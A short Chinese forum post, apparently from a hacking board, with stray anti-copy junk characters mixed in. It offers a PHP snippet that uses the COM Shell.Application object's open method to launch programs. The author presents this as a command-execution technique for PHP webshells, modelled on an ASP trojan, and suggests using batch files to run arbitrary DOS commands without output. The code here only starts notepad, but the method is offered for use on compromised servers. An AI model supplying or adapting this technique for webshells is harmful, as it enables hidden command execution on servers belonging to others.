关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。& U7 q- n* _3 D8 W1 N
- { l* ?: `/ Q2 {! D
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法1 F6 d% U4 X0 F- ?1 _* D7 Z/ K
7 P2 X, T+ {. X) y! y
<?php
2 u. h& H6 h! @) h2 G* I$wsh = new COM('Shell.Application') or die("Shell.Application");1 }# G9 s# R. X5 ?
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
1 W1 L: J. `) Z5 e/ D //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
, w) q) u% M# _: r, r?>8 X. J8 m4 r* m3 J F
% T/ o- X( H6 U! d" Z, ?# O) A
xp+APMServ5.2.0测试通过。
& s! {3 {( W. x8 r4 k t/ m4 U |